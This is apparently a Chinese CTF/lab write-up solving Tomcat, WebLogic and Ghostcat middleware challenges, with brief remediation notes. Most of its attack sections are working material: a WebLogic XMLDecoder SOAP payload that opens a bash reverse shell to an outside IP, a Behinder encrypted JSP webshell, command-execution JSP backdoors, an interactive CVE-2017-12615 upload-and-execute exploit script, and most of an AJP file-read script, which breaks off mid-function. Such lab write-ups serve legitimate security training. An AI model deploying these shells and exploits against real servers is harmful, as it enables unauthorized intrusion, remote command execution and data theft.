安鸾之中间件系列

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文转发于涂寐’s Blogs:https://0xtlu.github.io

0x00 tomcat8弱口令

0o00 题目提示

tomcat8弱口令

题目URL:http://106.15.50.112:18081

提示:flag在网站根目录下!

0o01 测试过程

  • 随便找篇文章查看,访问:http://106.15.50.112:18081/manager/html
  • 弹窗输入账密:tomcat/tomcat
  • jsp 代码
留言获取
  • 制作 war 包,jsp文件压缩成 zip 文件,改后缀为 war。上传站点。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-opuAgx0B-1661626343885)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.5duy4o951s00.jpg?raw=true)]

  • 部分命令使用。
// 看不到 flag 相关文件
http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=ls

// 查看当前位置:/usr/local/tomcat
http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=pwd

// 不懂 tomcat,直接查找包含 flag 的文件
http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=find%20/%20-name%20*flag*

// 拿 flag:flag{828a7a1a2c4bdc5b287f0d0fe72cf0ff}
http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=cat%20/usr/local/tomcat/webapps/ROOT/this_flag_2c4bdc5b287f0d0f.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fl6bjedY-1661626343887)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.9ckdykgwbko.jpg?raw=true)]

0o02 Tomcat 目录结构

bin-----存放Tomcat的脚本文件,例如启动、关闭
conf----Tomcat的配置文件,例如server.xml和web.xml
lib-----存放Tomcat运行需要的库文件(JAR包)
logs----存放Tomcat执行时的LOG文件
temp----存放Tomcat运行时所产生的临时文件
webapps-Web发布目录,默认情况下把Web应用文件放于此目录
work----存放jsp编译后产生的class文件
里面一些重要的文件,需要了解其作用:
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
tomcat-users.xml:tomcat的用户密码与权限。

0x01 Weblogic弱口令&反序列化

0o00 题目提示

Weblogic弱口令&反序列化

网站URL:http://106.15.50.112:17001

提示:
本环境存在大量漏洞:
控制台弱口令、CVE-2014-4210、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2019-2725、CVE-2020-14882、CVE-2020-14883

0o01 测试过程

0b00 控制台弱口令

  • 直接访问给的链接,404,听说是正常的。看别人复现吧。
  • 默认后台:http://106.15.50.112:17001/console/login/LoginForm.jsp
  • 默认口令: weblogic / Oracle@123
  • 部署 --> 安装 --> 上载文件 --> 将部署上载到管理服务器 --> 一直下一步到完成。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ntrZX55v-1661626343888)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.1wuuikqlyvuo.jpg?raw=true)]

  • 这里是冰蝎马,但还是得 find 。
  • flag 路径:/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/this_is_flag7cd3d2fc9cec6901.txt
  • flag:flag{04c89e5c3d0d926f510ba9e8ebd513bf}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XBucwdqn-1661626343889)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.4wl8v8orjno0.jpg?raw=true)]

0b01 CVE-2017-10271

  • CVE-2017-10271 WebLogic XMLDecoder 反序列化漏洞由 WebLogic Server WLS 组件远程命令执行漏洞,由 wls-wsat.war 触发该漏洞。该漏洞可通过构建 post 请求发送恶意 SOAP(xml) 数据,在解析过程中触发该漏洞。
  • 如下页面则可能存在,访问链接http://106.15.50.112:17001/wls-wsat/CoordinatorPortType11

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U8nA6MQ3-1661626343890)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.56lfe8p3xow0.jpg?raw=true)]

  • 构造请求包。
  • GET 请求改为 POST 请求。
  • 添加请求头:Content-Type: text/xml
  • 加上大佬构造成反弹 Shell 的 SOAP 数据。
  • 此处修改反弹 shell 的 bash 命令,改为写马:echo hello whalwl>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/hello.txt
  • 服务器路径:/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/hello.txt
  • 网页链接:http://106.15.50.112:17001/wls-wsat/hello.txt
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 106.15.50.112:17001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36 Edg/103.0.1264.44
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: type=posttime; Hm_lvt_48042604b3c7a9973810a87540843e34=1656610521,1656611930,1656635518,1656651819; roc_login=a111; roc_secure=ijcS7EUXP2kc7dX6cmEa%252BHh%252BvGfhfh49pUdHpDOaiSo%253D; ADMINCONSOLESESSION=btqbv13Llmvpp98hgvcB01Kdw5rDvXDdsg2VYcXrrPhm081MGkmk!-1333354029; JSESSIONID=lrBMv15Nmclr6jvxvgncp7k0pyGgzl2h1hQN3vRTXzHqycnGq4lm!-1333354029
Connection: close
Content-Length: 644

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/120.24.241.34/6868 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LKGBdMT1-1661626343890)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.70eyp8ht2ck0.jpg?raw=true)]

  • 直接拿工具扫不香吗

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MhOTDV8d-1661626343891)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.6pffmh93qc00.jpg?raw=true)]

0x02 tomcat任意文件写入

0o00 题目提示

tomcat任意文件写入

题目URL:http://106.15.50.112:18082

提示:
1、Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
2、flag在网站根目录下!

0o01 测试过程

0b00 手工测试

  • 抓取 http://106.15.50.112:18082 界面请求包;
  • GET 请求修改为 PUT 请求;
  • 末尾添加冰蝎 jsp 木马。
  • URL:http://106.15.50.112:18082/shell666.jsp
PUT /shell666.jsp/ HTTP/1.1
Host: 106.15.50.112:18082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36 Edg/103.0.1264.44
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: type=posttime; Hm_lvt_48042604b3c7a9973810a87540843e34=1656610521,1656611930,1656635518,1656651819; roc_login=a111; roc_secure=ijcS7EUXP2kc7dX6cmEa%252BHh%252BvGfhfh49pUdHpDOaiSo%253D; ADMINCONSOLESESSION=SyzfvQTGZnSCmkjnnGcV8TJ38v5bGk5m4VkHGmD8gyCDtLTdbQbT!-1333354029; JSESSIONID=CBB3B0EC25E322680209BC5533CDC66E
Connection: close
Content-Length: 614

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WtBW8MsR-1661626343891)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.frnt3pzgq80.jpg?raw=true)]

0b01 纸机大佬脚本

// 单个,注意网址
python3 CVE-2017-15715-POC.py.py -u http://106.15.50.112 -p 18082

// 批量
python3 CVE-2017-15715-POC.py.py -f IP.txt
#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)
  • 纸机大佬写的exp
#CVE-2017-12615 EXP
#python3 CVE-2017-15715-EXP.py.py -u http://106.15.50.112 -p 18082
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cRXdxQ5u-1661626343892)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.346f3289d7u0.jpg?raw=true)]

0b10其他大佬脚本

  • 脚本一把梭
运行脚本:python3 CVE-2017-12615.py http://106.15.50.112:18082

http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=find%20/%20-name%20*flag*
或
http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=ls%20-R

// 拿flag:flag{1835f7ba6689c37d4804bdfdbc4fd70d}
http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=cat%20/usr/local/tomcat/webapps/ROOT/this_flag_6689c37d4804bdfd.txt
import requests
import sys
import time
 
'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1
	shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
'''
 
def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("fff".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)
 
		time.sleep(2)
 
		verify_response = requests.get(url[:-1], headers=headers)
 
		if verify_response.status_code == 200:
			print('success')
		else :
			print (verify_response.status_code)
 
	except :
		"error"
 
if __name__ == '__main__':
	target_url = sys.argv[1] + '/201712615.jsp/'
 
	attack(target_url)
	print ('shell: ' + target_url[:-1])
 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wQqvoV6P-1661626343892)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.1i6zcuqf5txc.jpg?raw=true)]

0o02 CVE-2017-12615

  • 漏洞概述:运行在 Windows 操作系统的 Tomcat ,启用 HTTP PUT 请求方法(readonly 初始化参数由默认值 true 设置为 false),则攻击者可构造恶意请求包向服务器上传包含任意代码的 JSP 文件。当JSP文件中的恶意代码被服务器执行时,将导致服务器上的数据泄露或获取服务器权限。
  • 影响范围:Apache Tomcat 7.0.0 - 7.0.79。
  • 漏洞防护:① 设置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数;② 禁用 PUT 方法并重启 tomcat 服务。注:禁用 PUT 方法时,对于依赖 PUT 方法的应用可能会导致业务失效;③ 升级到最新版本;④ 使用WAF产品进行防御。
  • 注:通过对站点的观察:Apache Tomcat/8.5.19;对 URL 大小写判断,初步判断为 Linux 系统;这是扩大范围了?

0x03 Apache Tomcat AJP 文件包含漏洞

0o00 题目提示

Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

题目URL:http://106.15.50.112:18080/whalwl/
ajp端口:18009

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,
例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,
而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。

0o01 测试过程

0b000 版本探测

  • nmap探测
# 18009端口,Apache Tomcat 9.0.30,满足CVE-2020-1938存在环境
sudo nmap 106.15.50.112 -p 18080 -sV -sS

# 18009端口,探测不出服务,被ban
sudo nmap 106.15.50.112 -p 18009 -sV -sS

# 整合
sudo nmap 106.15.50.112 -p 18009,18080 -sV -sS

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HiieQE2Q-1661626343892)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.18y6993daxog.jpg?raw=true)]

  • 报错探测
http://106.15.50.112:18080/whalwl/admin

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RrwJ2gt3-1661626343893)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.5r0ush0hao40.jpg?raw=true)]

0b001 脚本测试

  • AjPy验证工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
  • 通过python脚本利用AJP BUG读取webapp任意目录下文件,以/WEB-INF/web.xml为例
  • 默认 Python2 环境运行
  • ???路径有问题???修复了???
  • 测试读取不存在文件,报错:HTTP Status 500 – Internal Server Error–>确定:路径问题。
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 106.15.50.112 -p 18009 -f WEB-INF/web.xml

# 注 
# python3的使用
# 听说,如下修改 CNVD-2020-10487-Tomcat-Ajp-lfi.py
# 测试,没成功
# 报错:AttributeError: 'Tomcat' object has no attribute 'stream'
'''
self.socket.makefile("rb", bufsize=0)
替换为
self.socket.makefile("rb", buffering=0)

print("".join([d.data for d in data]))
替换为
print("".join([d.data.decode() for d in data]))
'''

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XA2PQR9K-1661626343893)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.4xzuug38p0w0.jpg?raw=true)]

0b010 目录说明

# vulhub 漏洞靶机中8080端口的网站根目录
/usr/local/tomcat/webapps/ROOT

# 搭建靶场
# 物理路径:
/usr/local/tomcat/webapps/ROOT/test/CVE-2020-19381.png
# 网络路径
http://192.168.255.130:8080/test/CVE-2020-19381.png

# 修复测试,无法修复
# 注释 conf/server.xml 中的<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
# 报错,排除靶场漏洞已修复
Traceback (most recent call last):
  File "CNVD-2020-10487-Tomcat-Ajp-lfi.py", line 295, in <module>
    t = Tomcat(args.target, args.port)
  File "CNVD-2020-10487-Tomcat-Ajp-lfi.py", line 261, in __init__
    self.socket.connect((target_host, target_port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nZqRKuMh-1661626343894)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.7854hnbzp040.jpg?raw=true)]

0b011 跨目录问题

# 目录扫描命令
dirb http://106.15.50.112:18080/

# 结果
+ http://106.15.50.112:18080/docs (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/examples (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/host-manager (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/manager (CODE:302|SIZE:0)

# 又:靶场站点默认路径 http://106.15.50.112:18080/whalwl/
# 推测:/usr/local/tomcat/webapps/whalwl
# 即:ROOT 目录文件与 whalwl 同级
# 又:脚本默认读取 ROOT 目录中文件
# 故:若想读取 webapps 其他目录(如 whalwl)下的文件,需要对脚本进行修改,即问题所在

# 如下代码已修改
# CNVD-2020-10487-Tomcat-Ajp-lfi.py 的 296行:
# _,data = t.perform_request('/asdf',attributes=[
# 修改为
# _,data = t.perform_request('/whalwl/asdf',attributes=[  
#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)

	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
